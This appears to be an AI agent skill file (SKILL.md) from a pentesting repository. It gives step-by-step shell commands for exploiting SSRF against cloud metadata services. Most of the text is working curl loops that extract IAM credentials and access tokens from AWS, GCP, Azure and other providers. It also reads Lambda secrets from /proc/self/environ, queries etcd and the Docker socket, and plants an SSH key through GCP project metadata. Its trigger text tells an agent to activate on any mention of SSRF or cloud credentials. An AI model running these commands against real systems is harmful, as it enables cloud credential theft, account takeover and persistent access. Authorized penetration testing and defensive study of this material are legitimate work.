Hacktricks-skills cloud-ssrf-exploitation
Exploit SSRF vulnerabilities to access cloud metadata services and extract credentials from AWS, GCP, Azure, and other cloud providers. Use this skill whenever the user mentions SSRF, server-side request forgery, cloud metadata, instance metadata, AWS/GCP/Azure credentials, IAM roles, managed identities, or wants to enumerate cloud infrastructure through SSRF. Also trigger for requests about metadata endpoints, IMDS, instance identity, or extracting cloud credentials from vulnerable applications.
git clone https://github.com/abelrguezr/hacktricks-skills
skills/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf/SKILL.MDCloud SSRF Exploitation
This skill helps you exploit Server-Side Request Forgery (SSRF) vulnerabilities to access cloud metadata services and extract credentials from various cloud providers.
Quick Start
When you discover an SSRF vulnerability, use the appropriate script for your target cloud provider:
# AWS EC2 ./scripts/aws-ec2-metadata.sh # GCP ./scripts/gcp-metadata.sh # Azure ./scripts/azure-metadata.sh
Or follow the manual commands below for each provider.
AWS Exploitation
AWS EC2 Instance Metadata
The metadata endpoint is accessible at
http://169.254.169.254. There are two versions:
- IMDSv1: Accessible via GET requests (easier to exploit)
- IMDSv2: Requires a token via PUT request first (more secure)
Important notes:
- IMDSv2 blocks requests with
headerX-Forwarded-For - IMDSv2 has a hop limit of 1, preventing access from containers inside EC2
Enumerate EC2 Metadata
# Get token for IMDSv2 EC2_TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" \ -H "X-aws-ec2-metadata-token-ttl-seconds: 21600") # Use token for requests HEADER="X-aws-ec2-metadata-token: $EC2_TOKEN" URL="http://169.254.169.254/latest/meta-data" # Basic instance info curl -s -H "$HEADER" "$URL/ami-id" curl -s -H "$HEADER" "$URL/instance-id" curl -s -H "$HEADER" "$URL/instance-type" curl -s -H "$HEADER" "$URL/placement/region" # IAM Role and Credentials curl -s -H "$HEADER" "$URL/iam/info" curl -s -H "$HEADER" "$URL/iam/security-credentials/" # For each role found: for role in $(curl -s -H "$HEADER" "$URL/iam/security-credentials/"); do echo "Role: $role" curl -s -H "$HEADER" "$URL/iam/security-credentials/$role" done # User Data (may contain hardcoded credentials) curl -s -H "$HEADER" "http://169.254.169.254/latest/user-data" # Network interfaces for mac in $(curl -s -H "$HEADER" "$URL/network/interfaces/macs/"); do echo "MAC: $mac" curl -s -H "$HEADER" "$URL/network/interfaces/macs/$mac/public-ipv4s" curl -s -H "$HEADER" "$URL/network/interfaces/macs/$mac/security-groups" done
Using Extracted AWS Credentials
Once you have credentials, create an AWS profile:
[compromised-role] aws_access_key_id = ASIA... aws_secret_access_key = ... aws_session_token = ...
Then use with AWS CLI or PACU:
aws --profile compromised-role s3 ls pacu --profile compromised-role
AWS ECS (Container Service)
ECS uses a different metadata endpoint. Find the GUID from the environment variable:
# Read from environment (may require path traversal to /proc/self/environ) AWS_CONTAINER_CREDENTIALS_RELATIVE_URI # Access credentials curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
AWS Lambda
Lambda credentials are stored in environment variables:
# Access via file path traversal cat /proc/self/environ | tr '\0' '\n' | grep AWS_ # Key variables: # AWS_SESSION_TOKEN # AWS_SECRET_ACCESS_KEY # AWS_ACCESS_KEY_ID # Lambda event data (may contain sensitive info) curl http://localhost:9001/2018-06-01/runtime/invocation/next
AWS Elastic Beanstalk
# Get account ID and region curl http://169.254.169.254/latest/dynamic/instance-identity/document # Get credentials curl http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanstalk-ec2-role # Use credentials to access S3 aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]/
GCP Exploitation
GCP Compute Engine
GCP metadata requires the
Metadata-Flavor: Google header.
Enumerate GCP Metadata
# Project information curl -s -H "Metadata-Flavor: Google" \ http://metadata/computeMetadata/v1/project/project-id curl -s -H "Metadata-Flavor: Google" \ http://metadata/computeMetadata/v1/project/numeric-project-id # Instance information curl -s -H "Metadata-Flavor: Google" \ http://metadata/computeMetadata/v1/instance/hostname curl -s -H "Metadata-Flavor: Google" \ http://metadata/computeMetadata/v1/instance/id curl -s -H "Metadata-Flavor: Google" \ http://metadata/computeMetadata/v1/instance/zone # Service Accounts (most important) for sa in $(curl -s -H "Metadata-Flavor: Google" \ "http://metadata/computeMetadata/v1/instance/service-accounts/"); do echo "Service Account: $sa" # Get email curl -s -H "Metadata-Flavor: Google" \ "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}/email" # Get token curl -s -H "Metadata-Flavor: Google" \ "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}/token" # Get scopes curl -s -H "Metadata-Flavor: Google" \ "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}/scopes" done # User data (startup scripts may contain secrets) curl -s -H "Metadata-Flavor: Google" \ "http://metadata/computeMetadata/v1/instance/attributes/startup-script" # Network interfaces for iface in $(curl -s -H "Metadata-Flavor: Google" \ "http://metadata/computeMetadata/v1/instance/network-interfaces/"); do echo "Interface: $iface" curl -s -H "Metadata-Flavor: Google" \ "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/ip" done # Kubernetes attributes (if applicable) curl -s -H "Metadata-Flavor: Google" \ http://metadata/computeMetadata/v1/instance/attributes/kubeconfig
Using Extracted GCP Tokens
# Via environment variable export CLOUDSDK_AUTH_ACCESS_TOKEN=<token> gcloud projects list # Via token file echo "<token>" > /tmp/token gcloud config set auth/access_token_file /tmp/token gcloud projects list gcloud config unset auth/access_token_file
Add SSH Key (if token has compute scope)
# Get token curl -s -H "Metadata-Flavor: Google" \ "http://metadata/computeMetadata/v1/instance/service-accounts/default/token?alt=json" # Check token scope curl -s "https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=<token>" # Add SSH key curl -X POST "https://www.googleapis.com/compute/v1/projects/<PROJECT_ID>/setCommonInstanceMetadata" \ -H "Authorization: Bearer <token>" \ -H "Content-Type: application/json" \ --data '{"items": [{"key": "sshkeyname", "value": "ssh-rsa AAAA... user@host"}]}'
GCP Cloud Functions
Similar to VMs but with limited endpoints:
# Project info curl -s -H "Metadata-Flavor: Google" \ http://metadata/computeMetadata/v1/project/project-id # Instance info curl -s -H "Metadata-Flavor: Google" \ http://metadata/computeMetadata/v1/instance/id curl -s -H "Metadata-Flavor: Google" \ http://metadata/computeMetadata/v1/instance/zone # Service accounts for sa in $(curl -s -H "Metadata-Flavor: Google" \ "http://metadata/computeMetadata/v1/instance/service-accounts/"); do curl -s -H "Metadata-Flavor: Google" \ "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}/token" done
Azure Exploitation
Azure VM
Azure metadata requires the
Metadata: true header and must NOT include X-Forwarded-For.
Enumerate Azure Metadata
HEADER="Metadata: true" URL="http://169.254.169.254/metadata" API_VERSION="2021-12-13" # Instance details curl -s -H "$HEADER" "$URL/instance?api-version=$API_VERSION" # Get tokens for various resources curl -s -H "$HEADER" \ "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/" curl -s -H "$HEADER" \ "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://graph.microsoft.com/" curl -s -H "$HEADER" \ "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://vault.azure.net/" curl -s -H "$HEADER" \ "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://storage.azure.com/" # Load balancer info curl -s -H "$HEADER" "$URL/loadbalancer?api-version=$API_VERSION"
Managed Identities
Azure VMs can have system-assigned and user-assigned managed identities:
# Get token for specific managed identity # Use object_id, client_id, or msi_res_id parameter # Example with client_id curl -s -H "$HEADER" \ "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/&client_id=<CLIENT_ID>" # Get VM details to enumerate attached identities export TOKEN=$(curl -s -H "$HEADER" \ "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/" | \ jq -r '.access_token') export SUBSCRIPTION_ID=$(curl -s -H "$HEADER" \ "$URL/instance?api-version=$API_VERSION" | jq -r '.compute.subscriptionId') export RESOURCE_GROUP=$(curl -s -H "$HEADER" \ "$URL/instance?api-version=$API_VERSION" | jq -r '.compute.resourceGroupName') export VM_NAME=$(curl -s -H "$HEADER" \ "$URL/instance?api-version=$API_VERSION" | jq -r '.compute.name') # Query for attached identities curl -s -H "Authorization: Bearer $TOKEN" \ "https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.Compute/virtualMachines/$VM_NAME?api-version=$API_VERSION" | jq
Azure App Services & Functions
Use environment variables
IDENTITY_HEADER and IDENTITY_ENDPOINT:
# Check environment echo $IDENTITY_HEADER echo $IDENTITY_ENDPOINT # Get tokens curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2019-08-01" \ -H "X-IDENTITY-HEADER: $IDENTITY_HEADER" curl "$IDENTITY_ENDPOINT?resource=https://vault.azure.net/&api-version=2019-08-01" \ -H "X-IDENTITY-HEADER: $IDENTITY_HEADER" curl "$IDENTITY_ENDPOINT?resource=https://storage.azure.com/&api-version=2019-08-01" \ -H "X-IDENTITY-HEADER: $IDENTITY_HEADER"
Other Cloud Providers
Digital Ocean
curl http://169.254.169.254/metadata/v1.json | jq curl http://169.254.169.254/metadata/v1/user-data curl http://169.254.169.254/metadata/v1/hostname curl http://169.254.169.254/metadata/v1/region
IBM Cloud
# Get token first export TOKEN=$(curl -s -X PUT "http://169.254.169.254/instance_identity/v1/token?version=2022-03-01" \ -H "Metadata-Flavor: ibm" \ -H "Accept: application/json" \ -d '{"expires_in": 3600}' | jq -r '.access_token') # Get instance details curl -s -H "Authorization: Bearer $TOKEN" \ "http://169.254.169.254/metadata/v1/instance?version=2022-03-01" # Get IAM credentials curl -s -X POST -H "Authorization: Bearer $TOKEN" \ "http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01"
Oracle Cloud
curl http://192.0.0.192/latest/meta-data/ curl http://192.0.0.192/latest/user-data/ curl http://192.0.0.192/latest/attributes/
Alibaba Cloud
curl http://100.100.100.200/latest/meta-data/ curl http://100.100.100.200/latest/meta-data/instance-id curl http://100.100.100.200/latest/meta-data/image-id
Container & Orchestration Platforms
Kubernetes ETCD
# Check if etcd is accessible curl -L http://127.0.0.1:2379/version curl http://127.0.0.1:2379/v2/keys/?recursive=true
Docker
# Access via Docker socket curl --unix-socket /var/run/docker.sock http://foo/containers/json curl --unix-socket /var/run/docker.sock http://foo/images/json
Rancher
curl http://rancher-metadata/v2/ curl http://rancher-metadata/v2/service-ids/
Best Practices
- Always check for IMDSv2 on AWS - try both v1 and v2 endpoints
- Look for environment variables in Lambda, Azure Functions, and ECS
- Check token scopes before attempting privilege escalation
- Use extracted credentials immediately - they may expire
- Document all findings - metadata can reveal entire infrastructure topology
- Be aware of rate limits - some providers throttle metadata requests
Tools to Use with Extracted Credentials
- AWS:
,aws-cli
,pacuaws-s3-brute - GCP:
,gcloud
,gsutilgauf - Azure:
,az-cli
,graph-cliazure-devops-cli
Safety Notes
- Only use these techniques on systems you have authorization to test
- Metadata endpoints can reveal sensitive infrastructure information
- Extracted credentials may have broad permissions - handle responsibly
- Some endpoints may be rate-limited or monitored